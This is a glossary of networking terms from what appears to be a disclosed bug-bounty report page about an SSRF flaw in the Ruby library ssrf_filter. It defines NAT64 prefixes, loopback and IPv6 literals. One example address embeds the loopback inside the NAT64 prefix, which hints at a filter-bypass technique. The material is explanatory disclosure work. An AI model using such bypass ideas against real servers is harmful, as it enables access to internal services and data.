  • HTTP: the language browsers and servers use to exchange requests and responses.
  • IP address: the number identifying a computer on a network.
  • IPv4: the older, shorter style of IP address, such as [redacted].
  • IPv6: the newer, longer style of IP address, written with colons, such as 64:ff9b::7f00:1.
  • IPv6 literal: an IPv6 address written directly in a URL, wrapped in square brackets.
  • JSON: a text format for structured data, used in the responses shown here.
  • Library: a bundle of ready-made code that other programs reuse.
  • Loopback: the special address meaning "this same machine"; [redacted] in IPv4 and ::1 in IPv6.
  • NAT64: a translation scheme that lets an IPv6-only host reach IPv4 destinations by embedding the IPv4 address inside an IPv6 address.
  • NET_ADMIN: a Linux permission that allows a program to change network settings, such as adding an IP address.
  • Network interface: the part of a system that sends and receives network traffic; lo is the loopback interface.
  • Port: a numbered door on a computer through which a particular service is reached.
  • Prefix: the fixed beginning of an address range, like a postcode area.
  • Query parameter: a value passed in a URL after a question mark, such as ?url=....
  • Redirect: a server response telling the client to fetch a different address instead.
  • Resolver: the part of the system that looks up the IP address behind a hostname.
  • RFC 1918: the standard private IPv4 ranges used inside home and office networks.
  • Routable: reachable, meaning the network knows how to deliver traffic to that address.
  • Ruby: a programming language; ssrf_filter is written in it.
  • Server: a computer or program that answers requests from other computers.
  • Socket: a program's handle on a network connection.
  • SSRF (Server-Side Request Forgery): a bug where an attacker makes a server send a request on the attacker's behalf, often to reach internal systems.
  • TCP server: a program that waits for connections on a port and handles them.
  • Well-known prefix: the standard, globally agreed NAT64 prefix 64:ff9b::/96.
  • Local-use prefix: the NAT64 prefix 64:ff9b:1::/48, intended for use inside a private network.

More by tipsen

View all

1 more disclosed report, best first.

More from arkadiyt-projects

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Server-side request forgery (SSRF)

The lesson behind this report.

The server can be made to fetch an address the attacker chooses, reaching internal services, cloud metadata or other customers' data.